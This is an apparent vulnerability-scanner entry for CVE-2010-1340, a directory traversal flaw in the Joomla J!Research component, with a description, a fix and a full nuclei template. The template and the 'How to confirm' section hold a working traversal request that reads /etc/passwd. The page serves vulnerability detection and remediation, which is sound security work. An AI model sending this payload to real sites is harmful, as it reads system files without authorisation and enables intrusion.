Joomla! Component com_jresearch - 'Controller' Local File Inclusion

mediumseverity

5CVSS score

13.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

The vulnerability allows an attacker to include arbitrary local files, leading to remote code execution or sensitive information disclosure.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1340 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1340

info:
  name: Joomla! Component com_jresearch - 'Controller' Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, leading to remote code execution or sensitive information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33797
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1340
    - http://packetstormsecurity.org/1003-exploits/joomlajresearch-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57123
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1340
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.96505
    cpe: cpe:2.3:a:joomla-research:com_jresearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla-research
    product: com_jresearch
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,joomla-research,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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